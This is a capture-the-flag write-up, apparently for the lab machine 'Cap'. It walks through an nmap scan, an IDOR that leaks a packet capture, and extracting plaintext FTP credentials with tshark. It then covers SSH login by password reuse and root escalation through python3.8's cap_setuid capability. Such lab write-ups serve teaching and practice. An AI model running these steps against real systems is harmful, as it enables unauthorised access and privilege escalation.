Post

Cap

Cap

Recon

I started with an nmap scan on the three ports I cared about.

1
2
3
4
nmap -Pn -sV -sC -p 21,22,80 10.129.99.227
# 21/tcp open ftp    vsftpd 3.0.3
# 22/tcp open ssh    OpenSSH 8.2p1 Ubuntu
# 80/tcp open http   gunicorn (Security Dashboard)

FTP, SSH and a web server running Gunicorn. The website is a security dashboard for network monitoring. These are the pages I found:

  • /capture runs a new 5 second PCAP capture and redirects to /data/{id}
  • /data/{id} shows stats for a capture
  • /download/{id} downloads the PCAP file
  • /ip shows the output of ifconfig
  • /netstat shows the output of netstat

Foothold

When I use /capture, it makes a new capture with an ID that goes up each time (1, 2, 3…). So I tried /data/0, and an older capture was there.

This is an IDOR. The web app does not check who owns a capture, so anyone can open /data/0 or /download/0. I downloaded the PCAP and filtered it for FTP traffic with tshark.

1
2
3
4
curl -s http://10.129.99.227/download/0 -o 0.pcap
tshark -r 0.pcap -Y 'ftp' -T fields -e ftp.request.command -e ftp.request.arg
# USER  nathan
# PASS  Buck3tH4TF0RM3!

FTP does not encrypt anything, so the username and password are right there in plain text: nathan:Buck3tH4TF0RM3!.

User

I tried the same password on SSH, and it worked.

1
2
sshpass -p 'Buck3tH4TF0RM3!' ssh nathan@10.129.99.227
cat ~/user.txt

Root

For privilege escalation I looked for Linux capabilities on the box.

1
2
getcap -r / 2>/dev/null
# /usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

python3.8 has cap_setuid. Capabilities are a more fine-grained way to give permissions than SUID. With cap_setuid, any user who runs this Python can change their UID, including to 0. Giving this capability to an interpreter (python, perl, ruby) is almost the same as making it SUID root.

So I just call os.setuid(0) and read the root flag.

1
python3 -c 'import os; os.setuid(0); print(open("/root/root.txt").read())'

That’s the box. It is a nice one for learning how a small IDOR can leak real credentials, and why getcap is worth running after getting a shell.